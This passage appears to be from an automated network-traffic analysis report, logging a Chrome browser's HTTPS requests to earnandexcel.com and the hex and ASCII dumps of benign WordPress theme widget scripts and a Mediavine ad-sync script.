'EdumallTabChange', function( e, tabPanel, currentTab ) {if ( ! currentTab.hasClass( 'ajax-loaded' ) ) {loadCourseData( currentTab );currentTab.addClass( 'ajax-loaded' );} else {
2024-04-11 21:26:46 UTC	658	IN	Data Raw: 6c 61 79 6f 75 74 20 29 20 7b 0a 09 09 09 09 09 09 09 09 76 61 72 20 24 67 72 69 64 20 3d 20 24 63 6f 6d 70 6f 6e 65 6e 74 2e 63 68 69 6c 64 72 65 6e 28 20 27 2e 65 64 75 6d 61 6c 6c 2d 67 72 69 64 27 20 29 3b 0a 09 09 09 09 09 09 09 09 24 67 72 69 64 2e 63 68 69 6c 64 72 65 6e 28 20 27 2e 67 72 69 64 2d 69 74 65 6d 27 20 29 2e 72 65 6d 6f 76 65 28 29 3b 0a 09 09 09 09 09 09 09 09 24 63 6f 6d 70 6f 6e 65 6e 74 2e 45 64 75 6d 61 6c 6c 47 72 69 64 4c 61 79 6f 75 74 28 20 27 75 70 64 61 74 65 27 2c 20 24 28 20 72 65 73 70 6f 6e 73 65 2e 74 65 6d 70 6c 61 74 65 20 29 20 29 3b 0a 09 09 09 09 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 09 09 09 09 76 61 72 20 73 77 69 70 65 72 20 3d 20 24 63 6f 6d 70 6f 6e 65 6e 74 2e 63 68 69 6c 64 72 65 6e 28 20 27 2e 73 Data Ascii: layout ) {var $grid = $component.children( '.edumall-grid' );$grid.children( '.grid-item' ).remove();$component.EdumallGridLayout( 'update', $( response.template ) );} else {var swiper = $component.children( '.s
2024-04-11 21:26:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.17	49860	3.211.252.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:46 UTC	559	OUT	GET /usersync.min.js?s2sVersion=production HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:46 UTC	352	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:46 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 13128 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: no-cache, private Accept-Ranges: bytes Last-Modified: Thu, 11 Apr 2024 14:32:12 GMT ETag: W/"3348-18ecd92c702"
2024-04-11 21:26:46 UTC	13128	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 75 73 65 72 73 79 6e 63 2e 6d 69 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 28 29 3d 3e 7b 76 61 72 20 65 3d 7b 33 34 3a 28 65 2c 6e 2c 74 29 3d 3e 7b 76 61 72 20 69 2c 6f 2c 72 3b 76 6f 69 64 20 30 3d 3d 3d 28 6f 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 69 3d 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 30 2c 6e 3d 7b 7d 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 76 61 72 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3b 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 29 6e 5b 69 5d 3d 74 5b 69 5d 7d 72 65 74 75 72 Data Ascii: /! For license information please see usersync.min.js.LICENSE.txt /(()=>{var e={34:(e,n,t)=>{var i,o,r;void 0===(o="function"==typeof(i=r=function(){function e(){for(var e=0,n={};e<arguments.length;e++){var t=arguments[e];for(var i in t)n[i]=t[i]}retur

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.17	49863	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:46 UTC	1091	OUT	GET /wp-content/themes/edumall/elementor/assets/libs/countTo/jquery.countTo.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:46 UTC	935	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:46 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e8bfe310cb2-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-7cc" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g1Fxgfj3OPBfh30NjQQoSj5b7BTJyiMH0JfEmqMnQ6NHRWWj132VUxCdnZKtXCpEt76TxBVipip98rIOGIWI9WFzkak7s1ey%2BHhGdTrBu0mCU8G1yuYXyl3oAYCJoQUbECs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:46 UTC	434	IN	Data Raw: 37 63 63 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 74 28 72 65 71 75 69 72 65 28 22 6a 71 75 65 72 79 22 29 29 3a 74 28 6a 51 75 65 72 79 29 7d 28 66 75 6e 63 74 69 6f 6e 28 73 29 7b 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 3d 73 28 74 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 73 2e 65 78 74 65 6e 64 28 7b 7d 2c 72 2e 44 45 46 41 55 4c 54 53 2c 74 68 69 73 2e 64 61 74 61 4f 70 74 69 6f 6e 73 28 29 2c 65 29 2c 74 68 69 73 2e 69 6e 69 74 28 29 7d Data Ascii: 7cc!function(t){"function"==typeof define&&define.amd?define(["jquery"],t):"object"==typeof exports?t(require("jquery")):t(jQuery)}(function(s){var r=function(t,e){this.$element=s(t),this.options=s.extend({},r.DEFAULTS,this.dataOptions(),e),this.init()}
2024-04-11 21:26:46 UTC	1369	IN	Data Raw: 74 68 69 73 2e 76 61 6c 75 65 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 66 72 6f 6d 2c 74 68 69 73 2e 6c 6f 6f 70 73 3d 4d 61 74 68 2e 63 65 69 6c 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 73 70 65 65 64 2f 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 66 72 65 73 68 49 6e 74 65 72 76 61 6c 29 2c 74 68 69 73 2e 6c 6f 6f 70 43 6f 75 6e 74 3d 30 2c 74 68 69 73 2e 69 6e 63 72 65 6d 65 6e 74 3d 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 74 6f 2d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 66 72 6f 6d 29 2f 74 68 69 73 2e 6c 6f 6f 70 73 7d 2c 72 2e 70 72 6f 74 6f 74 79 70 65 2e 64 61 74 61 4f 70 74 69 6f 6e 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 7b 66 72 6f 6d 3a 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 2e 64 61 74 61 28 22 66 72 6f 6d 22 29 2c 74 6f Data Ascii: this.value=this.options.from,this.loops=Math.ceil(this.options.speed/this.options.refreshInterval),this.loopCount=0,this.increment=(this.options.to-this.options.from)/this.loops},r.prototype.dataOptions=function(){var t={from:this.$element.data("from"),to
2024-04-11 21:26:46 UTC	200	IN	Data Raw: 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 73 28 74 68 69 73 29 2c 65 3d 74 2e 64 61 74 61 28 22 63 6f 75 6e 74 54 6f 22 29 2c 6f 3d 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6e 3f 6e 3a 7b 7d 2c 69 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 3f 6e 3a 22 73 74 61 72 74 22 3b 65 26 26 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 6e 7c 7c 28 65 26 26 65 2e 73 74 6f 70 28 29 2c 74 2e 64 61 74 61 28 22 63 6f 75 6e 74 54 6f 22 2c 65 3d 6e 65 77 20 72 28 74 68 69 73 2c 6f 29 29 29 2c 65 5b 69 5d 2e 63 61 6c 6c 28 65 29 7d 29 7d 7d 29 3b 0d 0a Data Ascii: s.each(function(){var t=s(this),e=t.data("countTo"),o="object"==typeof n?n:{},i="string"==typeof n?n:"start";e&&"object"!=typeof n\|\|(e&&e.stop(),t.data("countTo",e=new r(this,o))),e[i].call(e)})}});
2024-04-11 21:26:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.17	49864	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:46 UTC	1085	OUT	GET /wp-content/themes/edumall/elementor/assets/js/widgets/widget-counter.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:46 UTC	935	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:46 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e8e1a048c4d-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-4b8" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QPrlwBwEhjCRMCT9T0ALeDua7sBul9RtiqnFqS2P3Ju5O6npI53e7heiCzH5sae1YToS1HVQxrJlzJN52BOq0pO5W129R57sfNZSvKTJvNvhlTYmWY9vkXz9ieWD6EYK%2Bbk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:46 UTC	434	IN	Data Raw: 34 62 38 0d 0a 28 0a 09 66 75 6e 63 74 69 6f 6e 28 20 24 20 29 20 7b 0a 09 09 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 0a 09 09 76 61 72 20 45 64 75 6d 61 6c 6c 43 6f 75 6e 74 65 72 48 61 6e 64 6c 65 72 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 24 73 63 6f 70 65 2c 20 24 20 29 20 7b 0a 09 09 09 76 61 72 20 24 65 6c 65 6d 65 6e 74 20 3d 20 24 73 63 6f 70 65 2e 66 69 6e 64 28 20 27 2e 74 6d 2d 63 6f 75 6e 74 65 72 27 20 29 3b 0a 0a 09 09 09 65 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 2e 77 61 79 70 6f 69 6e 74 28 20 24 65 6c 65 6d 65 6e 74 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 09 76 61 72 20 73 65 74 74 69 6e 67 73 20 3d 20 24 65 6c 65 6d 65 6e 74 2e 64 61 74 61 28 20 27 63 6f 75 6e 74 65 72 27 20 29 3b 0a 0a 09 09 09 09 76 61 72 20 24 Data Ascii: 4b8(function( $ ) {'use strict';var EdumallCounterHandler = function( $scope, $ ) {var $element = $scope.find( '.tm-counter' );elementorFrontend.waypoint( $element, function() {var settings = $element.data( 'counter' );var $
2024-04-11 21:26:46 UTC	781	IN	Data Raw: 66 6f 72 6d 61 74 74 65 72 3a 20 66 75 6e 63 74 69 6f 6e 28 20 76 61 6c 75 65 2c 20 6f 70 74 69 6f 6e 73 20 29 20 7b 0a 09 09 09 09 09 09 72 65 74 75 72 6e 20 66 6f 72 6d 61 74 28 20 76 61 6c 75 65 2e 74 6f 46 69 78 65 64 28 20 6f 70 74 69 6f 6e 73 2e 64 65 63 69 6d 61 6c 73 20 29 2c 20 73 65 74 74 69 6e 67 73 2e 73 65 70 61 72 61 74 6f 72 20 29 3b 0a 09 09 09 09 09 7d 2c 0a 09 09 09 09 7d 20 29 3b 0a 09 09 09 7d 20 29 3b 0a 0a 09 09 09 66 75 6e 63 74 69 6f 6e 20 66 6f 72 6d 61 74 28 20 78 2c 20 73 65 70 2c 20 67 72 70 20 29 20 7b 0a 09 09 09 09 76 61 72 20 73 78 20 20 20 20 20 20 20 20 20 20 20 20 3d 20 28 0a 09 09 09 09 09 27 27 20 2b 20 78 0a 09 09 09 09 29 2e 73 70 6c 69 74 28 20 27 2e 27 20 29 2c 20 73 20 3d 20 27 27 2c 20 69 2c 20 6a 3b 0a 09 09 09 Data Ascii: formatter: function( value, options ) {return format( value.toFixed( options.decimals ), settings.separator );},} );} );function format( x, sep, grp ) {var sx = ('' + x).split( '.' ), s = '', i, j;
2024-04-11 21:26:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.17	49866	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:46 UTC	1088	OUT	GET /wp-content/themes/edumall/elementor/assets/js/widgets/group-widget-grid.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:46 UTC	945	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:46 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e8e5b318cee-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-3b3" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CH3wLmZdnu8LsXXsBx%2BB9AiQCqfNnuH%2Bq6jVZDPrSYARCXVw9SBPSWzXy%2BOINOcuQhgKS5pj6YggsK9C3q01kBNTsBQ1PiJ36INMM6dTMi%2FkQeuI3%2FUJgnPkUsEO%2BWG8ZOM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:46 UTC	424	IN	Data Raw: 33 62 33 0d 0a 28 0a 09 66 75 6e 63 74 69 6f 6e 28 20 24 20 29 20 7b 0a 09 09 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 0a 09 09 76 61 72 20 45 64 75 6d 61 6c 6c 47 72 69 64 48 61 6e 64 6c 65 72 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 24 73 63 6f 70 65 2c 20 24 20 29 20 7b 0a 09 09 09 76 61 72 20 24 65 6c 65 6d 65 6e 74 20 3d 20 24 73 63 6f 70 65 2e 66 69 6e 64 28 20 27 2e 65 64 75 6d 61 6c 6c 2d 67 72 69 64 2d 77 72 61 70 70 65 72 27 20 29 3b 0a 0a 09 09 09 24 65 6c 65 6d 65 6e 74 2e 45 64 75 6d 61 6c 6c 47 72 69 64 4c 61 79 6f 75 74 28 29 3b 0a 09 09 7d 3b 0a 0a 09 09 24 28 20 77 69 6e 64 6f 77 20 29 2e 6f 6e 28 20 27 65 6c 65 6d 65 6e 74 6f 72 2f 66 72 6f 6e 74 65 6e 64 2f 69 6e 69 74 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 65 6c 65 6d Data Ascii: 3b3(function( $ ) {'use strict';var EdumallGridHandler = function( $scope, $ ) {var $element = $scope.find( '.edumall-grid-wrapper' );$element.EdumallGridLayout();};$( window ).on( 'elementor/frontend/init', function() {elem
2024-04-11 21:26:46 UTC	530	IN	Data Raw: 74 65 73 74 69 6d 6f 6e 69 61 6c 2d 67 72 69 64 2e 64 65 66 61 75 6c 74 27 2c 20 45 64 75 6d 61 6c 6c 47 72 69 64 48 61 6e 64 6c 65 72 20 29 3b 0a 09 09 09 65 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 2e 68 6f 6f 6b 73 2e 61 64 64 41 63 74 69 6f 6e 28 20 27 66 72 6f 6e 74 65 6e 64 2f 65 6c 65 6d 65 6e 74 5f 72 65 61 64 79 2f 74 6d 2d 70 72 6f 64 75 63 74 2d 63 61 74 65 67 6f 72 69 65 73 2e 64 65 66 61 75 6c 74 27 2c 20 45 64 75 6d 61 6c 6c 47 72 69 64 48 61 6e 64 6c 65 72 20 29 3b 0a 09 09 09 65 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 2e 68 6f 6f 6b 73 2e 61 64 64 41 63 74 69 6f 6e 28 20 27 66 72 6f 6e 74 65 6e 64 2f 65 6c 65 6d 65 6e 74 5f 72 65 61 64 79 2f 74 6d 2d 63 6f 75 72 73 65 2d 63 61 74 65 67 6f 72 79 2d 63 61 72 64 73 2e 64 65 66 Data Ascii: testimonial-grid.default', EdumallGridHandler );elementorFrontend.hooks.addAction( 'frontend/element_ready/tm-product-categories.default', EdumallGridHandler );elementorFrontend.hooks.addAction( 'frontend/element_ready/tm-course-category-cards.def
2024-04-11 21:26:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.17	49865	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:46 UTC	1092	OUT	GET /wp-content/themes/edumall/elementor/assets/js/widgets/group-widget-carousel.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:47 UTC	943	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:47 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e8e6d614392-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-6fc" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a27A8vN3UQUS885EwTGY9%2BpORG9FDfSvWo0cCgvu%2F0Ul6tbu6cWbg8FWySh%2Bf71sRos8xbcH9ww2wlk3sg%2FYt7FnRHfJNjSfh9OAuC1jJST3ifBMH3g4Xd%2FtZMqK4CMsHh4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:47 UTC	426	IN	Data Raw: 36 66 63 0d 0a 28 0a 09 66 75 6e 63 74 69 6f 6e 28 20 24 20 29 20 7b 0a 09 09 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 0a 09 09 76 61 72 20 53 77 69 70 65 72 48 61 6e 64 6c 65 72 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 24 73 63 6f 70 65 2c 20 24 20 29 20 7b 0a 09 09 09 76 61 72 20 24 65 6c 65 6d 65 6e 74 20 3d 20 24 73 63 6f 70 65 2e 66 69 6e 64 28 20 27 2e 74 6d 2d 73 6c 69 64 65 72 2d 77 69 64 67 65 74 27 20 29 3b 0a 0a 09 09 09 24 65 6c 65 6d 65 6e 74 2e 45 64 75 6d 61 6c 6c 53 77 69 70 65 72 28 29 3b 0a 09 09 7d 3b 0a 0a 09 09 76 61 72 20 53 77 69 70 65 72 4c 69 6e 6b 65 64 48 61 6e 64 6c 65 72 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 24 73 63 6f 70 65 2c 20 24 20 29 20 7b 0a 09 09 09 76 61 72 20 24 65 6c 65 6d 65 6e 74 20 3d 20 24 73 63 6f 70 65 2e 66 Data Ascii: 6fc(function( $ ) {'use strict';var SwiperHandler = function( $scope, $ ) {var $element = $scope.find( '.tm-slider-widget' );$element.EdumallSwiper();};var SwiperLinkedHandler = function( $scope, $ ) {var $element = $scope.f
2024-04-11 21:26:47 UTC	1369	IN	Data Raw: 0a 09 09 09 09 76 61 72 20 6d 61 69 6e 53 6c 69 64 65 72 20 3d 20 24 65 6c 65 6d 65 6e 74 2e 66 69 6c 74 65 72 28 20 27 2e 65 64 75 6d 61 6c 6c 2d 6d 61 69 6e 2d 73 77 69 70 65 72 27 20 29 2e 45 64 75 6d 61 6c 6c 53 77 69 70 65 72 28 20 7b 0a 09 09 09 09 09 74 68 75 6d 62 73 3a 20 7b 0a 09 09 09 09 09 09 73 77 69 70 65 72 3a 20 74 68 75 6d 62 73 53 6c 69 64 65 72 0a 09 09 09 09 09 7d 0a 09 09 09 09 7d 20 29 3b 0a 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 24 65 6c 65 6d 65 6e 74 2e 45 64 75 6d 61 6c 6c 53 77 69 70 65 72 28 29 3b 0a 09 09 09 7d 0a 09 09 7d 3b 0a 0a 09 09 24 28 20 77 69 6e 64 6f 77 20 29 2e 6f 6e 28 20 27 65 6c 65 6d 65 6e 74 6f 72 2f 66 72 6f 6e 74 65 6e 64 2f 69 6e 69 74 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 65 6c Data Ascii: var mainSlider = $element.filter( '.edumall-main-swiper' ).EdumallSwiper( {thumbs: {swiper: thumbsSlider}} );} else {$element.EdumallSwiper();}};$( window ).on( 'elementor/frontend/init', function() {el
2024-04-11 21:26:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.17	49868	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:46 UTC	1087	OUT	GET /wp-content/themes/edumall/elementor/assets/js/widgets/widget-grid-post.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; 